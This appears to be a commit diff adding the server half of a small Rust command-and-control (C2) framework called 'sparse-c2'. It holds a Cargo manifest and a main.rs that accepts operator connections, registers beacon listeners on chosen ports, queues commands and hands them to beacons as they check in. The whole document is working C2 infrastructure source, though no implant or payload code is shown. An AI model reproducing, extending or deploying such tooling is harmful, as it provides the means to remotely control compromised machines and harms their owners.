took the tcp-test code and made a C2 server/beacon

sparse-c2/sparse-c2-server/Cargo.toml

@@ -0,0 +1,16 @@
+[package]
+name = "sparse-c2-server"
+version = "0.1.0"
+edition = "2021"
+
+# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
+
+[dependencies]
+anyhow = "1.0.75"
+chrono = "0.4.31"
+log = "0.4.20"
+nix = "0.27.1"
+serde_json = "1.0.108"
+simple_logger = "4.3.0"
+sparse-c2-messages = { path = "../sparse-c2-messages" }
+tokio = { version = "1.34.0", features = ["full"] }

sparse-c2/sparse-c2-server/src/main.rs

@@ -0,0 +1,205 @@
+use std::{
+    net::Ipv4Addr,
+    os::fd::AsRawFd,
+    sync::{
+        atomic::{AtomicU32, Ordering},
+        Arc, Mutex,
+    },
+};
+
+use nix::libc::{ioctl, TIOCOUTQ};
+use tokio::{
+    io::{AsyncReadExt, AsyncWriteExt},
+    net::{TcpListener, TcpStream},
+    task::yield_now,
+};
+
+use sparse_c2_messages::{
+    BeaconCommand, BeaconId, BeaconInfo, ClientCommand, ClientResponse, Command, CommandId,
+    CLIENT_PORT,
+};
+
+async fn beacon_accept_task(
+    beacon: Arc<Mutex<BeaconInfo>>,
+    commands: Arc<Mutex<Vec<Command>>>,
+) -> anyhow::Result<()> {
+    let port = {
+        let beacon = beacon.lock().unwrap();
+        beacon.port
+    };
+    let socket = TcpListener::bind(format!("0.0.0.0:{port}")).await?;
+
+    loop {
+        let (mut client, _) = socket.accept().await?;
+
+        let commands_to_send: Vec<_> = {
+            let beacon = beacon.lock().unwrap();
+            let commands = commands.lock().unwrap();
+            commands
+                .iter()
+                .filter(|comm| {
+                    (comm.beacon_id.is_none() || comm.beacon_id.as_ref() == Some(&beacon.id))
+                        && !beacon
+                            .done_commands
+                            .iter()
+                            .any(|done_comm| done_comm.0 == comm.command_id)
+                })
+                .map(Clone::clone)
+                .collect()
+        };
+
+        {
+            let mut beacon = beacon.lock().unwrap();
+            log::info!("Beacon {} checking in", beacon.id.0);
+            beacon.last_connection = Some(chrono::Utc::now());
+        }
+
+        let Some(ref command_to_send) = commands_to_send.get(0) else {
+            let Ok(buffer) = serde_json::to_vec(&BeaconCommand::Noop) else {
+                continue;
+            };
+
+            let _ = client.write_all(&buffer).await;
+
+            let mut res = 0i16;
+            unsafe {
+                ioctl(client.as_raw_fd(), TIOCOUTQ, &mut res);
+            }
+            while res != 0 {
+                yield_now().await;
+                unsafe {
+                    ioctl(client.as_raw_fd(), TIOCOUTQ, &mut res);
+                }
+            }
+
+            continue;
+        };
+
+        let Ok(buffer) = serde_json::to_vec(&BeaconCommand::Command((*command_to_send).clone()))
+        else {
+            continue;
+        };
+        let _ = client.write_all(&buffer).await;
+
+        let mut res = 0i16;
+        unsafe {
+            ioctl(client.as_raw_fd(), TIOCOUTQ, &mut res);
+        }
+        while res != 0 {
+            yield_now().await;
+            unsafe {
+                ioctl(client.as_raw_fd(), TIOCOUTQ, &mut res);
+            }
+        }
+
+        {
+            let mut beacon = beacon.lock().unwrap();
+            beacon
+                .done_commands
+                .push((command_to_send.command_id, chrono::Utc::now()));
+        }
+    }
+}
+
+async fn handle_client(
+    command_id: Arc<AtomicU32>,
+    mut client: TcpStream,
+    beacons: Arc<Mutex<Vec<Arc<Mutex<BeaconInfo>>>>>,
+    commands: Arc<Mutex<Vec<Command>>>,
+) -> anyhow::Result<()> {
+    loop {
+        let mut buffer = [0u8; 1024];
+        let len = client.read(&mut buffer[..]).await?;
+        let Ok(cmd) = serde_json::from_slice::<ClientCommand>(&buffer[..len]) else {
+            continue;
+        };
+
+        match cmd {
+            ClientCommand::GetState => {
+                let beacons = {
+                    let beacons = beacons.lock().unwrap();
+                    beacons
+                        .iter()
+                        .map(|beacon| beacon.lock().unwrap().clone())
+                        .collect()
+                };
+                let commands = {
+                    let commands = commands.lock().unwrap();
+                    commands.clone()
+                };
+                let res = serde_json::to_vec(&ClientResponse::StateUpdate(beacons, commands))?;
+                client.write_u32(res.len() as u32).await?;
+                client.write(&res).await?;
+            }
+            ClientCommand::ListenFor(id, port) => {
+                let beacon = Arc::new(Mutex::new(BeaconInfo {
+                    id: BeaconId(id),
+                    port,
+                    last_connection: None,
+                    done_commands: vec![],
+                }));
+
+                {
+                    let mut beacons = beacons.lock().unwrap();
+                    beacons.push(Arc::clone(&beacon));
+                }
+
+                let commands = Arc::clone(&commands);
+
+                tokio::spawn(async move {
+                    if let Err(e) = beacon_accept_task(beacon, commands).await {
+                        log::error!("could not handle beacon listener: {e:?}");
+                    }
+                });
+
+                client.write_u32(0).await?;
+            }
+            ClientCommand::SendCommand(id, command) => {
+                {
+                    let mut commands = commands.lock().unwrap();
+                    let command_id = CommandId(command_id.fetch_add(1, Ordering::SeqCst));
+
+                    commands.push(Command {
+                        beacon_id: id,
+                        command_id,
+                        command,
+                    });
+                }
+
+                client.write_u32(0).await?;
+            }
+            ClientCommand::Stop(_) => {
+                client.write_u32(0).await?;
+            }
+        }
+    }
+}
+
+#[tokio::main(flavor = "current_thread")]
+async fn main() -> anyhow::Result<()> {
+    simple_logger::SimpleLogger::new()
+        .with_level(log::LevelFilter::Trace)
+        .with_module_level("tcp_test", log::LevelFilter::Trace)
+        .init()?;
+
+    let commands = Arc::new(Mutex::new(vec![]));
+    let beacons = Arc::new(Mutex::new(vec![]));
+
+    let socket = TcpListener::bind(format!("0.0.0.0:{CLIENT_PORT}")).await?;
+
+    let command_id = Arc::new(AtomicU32::from(0));
+
+    loop {
+        let (client, _) = socket.accept().await?;
+
+        let beacons = Arc::clone(&beacons);
+        let commands = Arc::clone(&commands);
+        let command_id = Arc::clone(&command_id);
+
+        tokio::spawn(async {
+            if let Err(e) = handle_client(command_id, client, beacons, commands).await {
+                log::error!("error handling client {e:?}");
+            }
+        });
+    }
+}